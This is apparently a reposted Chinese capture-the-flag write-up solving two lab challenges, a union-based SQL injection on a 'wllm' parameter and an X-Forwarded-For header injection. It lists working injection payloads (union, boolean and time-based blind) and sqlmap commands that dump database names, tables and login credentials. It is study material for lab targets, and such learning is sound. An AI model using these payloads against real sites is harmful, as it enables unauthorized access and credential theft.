您的位置:首页 > 财经 > 金融 > 【无标题】

【无标题】

2024/11/18 17:16:04 来源:https://blog.csdn.net/2302_79119987/article/details/139640723  浏览:    关键词:【无标题】

1、[SWPUCTF 2021 新生赛]easy_sql

查看源码,得知了需要传的参数是wllm,尝试验证。

回显了用户名和密码。

sql注入步骤:

1、发现潜在的注入点

攻击者首先需要找到可能存在SQL注入的地方,这通常是通过输入字段(如登录表单、搜索框、URL参数等)。通过尝试输入一些特殊字符(如单引号、双引号、分号等),攻击者可以观察应用程序的响应以判断是否存在SQL注入漏洞。

2、验证注入点

一旦发现潜在的注入点,攻击者会进一步验证是否可以插入SQL代码。常见的测试方法是输入一些SQL片段,查看应用程序的响应。

3、判断注入类型:

一、判断数字或字符型:

在输入字段中输入id=1 and 1=1 和id=1 and 1=2,观察页面是否报错,若不报错则是字符型注入,若报错就是数字型注入。

 

二、判断联合查询注入

原理:使用 UNION 运算符将攻击者的查询结果与原查询结果合并,从而获取数据库中的其他数据。

判断方法

  1. 在输入字段中使用 UNION SELECT 语句。

SELECT username, password FROM users WHERE username = 'admin' UNION SELECT null, null, version() --';

如果返回带有攻击者查询结果的页面,可能包含数据库版本、当前用户等信息。

三、判断布尔盲注(Boolean-Based Blind SQL Injection)

原理:通过发送SQL查询观察响应的变化,推断出数据库的内容。使用布尔表达式返回不同的结果。

SELECT * FROM users WHERE username = 'admin' AND 1=1 --'; SELECT * FROM users WHERE username = 'admin' AND 1=2 --';

如果 1=1 返回正常页面而 1=2 返回错误页面,则表明存在布尔盲注漏洞。

四、判断时间盲注(Time-Based Blind SQL Injection)

原理:通过引入时间延迟函数,使数据库在执行查询时延迟响应。根据响应时间推断出数据库的内容。

判断方法

使用时间延迟函数测试响应时间。

SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0) --'; SELECT * FROM users WHERE username = 'admin' AND IF(1=2, SLEEP(5), 0) --';

响应

如果 1=1 使响应延迟,而 1=2 没有延迟,则表明存在时间盲注漏洞。

4、猜解字段数

通常可以使用order by或者union select来判断

1' UNION SELECT 1,2--

5、获取当前数据库

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

6、获取表名和字段名

表名:

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

字段名:

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

这道题在我们判断出注入点后可以开始判断注入类型,尝试判断注入方式,分别尝试

id=1 and 1=1 和id=1 and 1=2,回显页面正常不报错,证明是字符型注入。接下来需要判断字段数,尝试输入  wllm=1' union select 1,2--+

回显字段数不正确,再次尝试

说明有3列,接下来尝试获取数据库。

wllm=-1' union select 1, 2, database()--+

发现一个test_db的表,尝试查看字段名:

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

接下来可以查看里面的内容:

wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

看到了flag字段,查看:

 -1' union select 1,2,group_concat(id,flag) from test_tb--+

2、X-Forwarded-For注入漏洞实战

X-Forwarded-For:

是一个HTTP头部字段,用于识别通过代理或负载均衡器连接到Web服务器的客户端的原始IP地址。这个字段通常用于记录和追踪客户端的真实IP地址,而不是代理服务器的IP地址。

X-Forwarded-For的使用:

当客户端请求通过一个或多个代理服务器时,每个代理服务器都会在 X-Forwarded-For 头部字段中添加客户端的IP地址。该字段的值是一个由逗号分隔的IP地址列表,最左边的IP地址是原始客户端的IP地址,最右边的IP地址是最接近Web服务器的代理服务器的IP地址。

如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:

X-Forwarded-For: IP0, IP1, IP2

打开题目是一个登录框,题目又有提示,应该考察sql注入的知识点。这个题感觉和考核的sql有点像,尝试抓包

参考其他wp,提示是xxf注入,抓包后没有X-Forwarded-For:,但是数据报中有ip,尝试添加X-Forwarded-For:,添加X-Forwarded-For:0.0.0.0查看回显

得到回显后复制到虚拟机使用sqlmap

sqlmap使用:

打开sqlmap进行操作:

sqlmap -r '/home/dundundun/Desktop/a.txt' --current-db --batch --threads 10

  • sqlmap: 调用sqlmap工具。
  • -r "/root/1.txt": 指定包含HTTP请求的文件路径。这个文件通常包含整个HTTP请求,包括头部、参数和Cookies等。
  • --current-db: 这个选项告诉sqlmap只获取当前数据库的名称。
  • --batch: 以批处理模式运行,不需要用户交互。适用于自动化执行或脚本化的场景。
  • --threads 10: 使用10个线程进行并发测试,以提高速度。

得到了数据库名称为webcalender,继续扫描。

sqlmap -r '/home/dundundun/Desktop/a.txt' -D webcalendar --tables --batch --threads 10

得到了两个库名,查看user。

sqlmap -r '/home/dundundun/Desktop/a.txt'-D webcalendar -T user --columns --batch --threads 10

得到了登录密码账号

总结:

要判断SQL注入类型,可以使用以下步骤:

  1. 输入单引号:观察是否有错误信息,初步判断是否存在SQL注入。
  2. 测试简单的布尔条件:如 ' OR 1=1 --' OR 1=2 --,判断是否有响应变化。
  3. 尝试联合查询:如 ' UNION SELECT null, null, null --,查看是否返回额外数据。
  4. 使用时间盲注:如 ' AND IF(1=1, SLEEP(5), 0) --,通过响应时间判断是否存在注入。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com